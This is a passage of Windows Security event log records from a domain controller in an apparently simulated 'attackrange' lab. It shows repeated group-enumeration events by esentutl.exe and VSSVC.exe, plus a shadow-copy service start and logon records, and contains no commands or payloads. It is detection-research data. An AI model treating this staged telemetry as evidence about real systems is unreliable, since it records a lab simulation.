C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257958 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257957 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257956 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257955 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257954 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257953 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257952 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257951 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257950 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257949 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257948 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257947 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257946 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257945 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257944 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257943 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257942 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257941 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257940 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257939 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257938 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257937 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257936 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257935 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257934 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257933 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257932 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257931 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257930 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257929 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257928 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257927 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257926 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257925 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257924 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257923 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257922 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257921 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257920 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257919 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257918 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257917 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257916 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa10 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k swprv - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257915 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257914 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258044 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 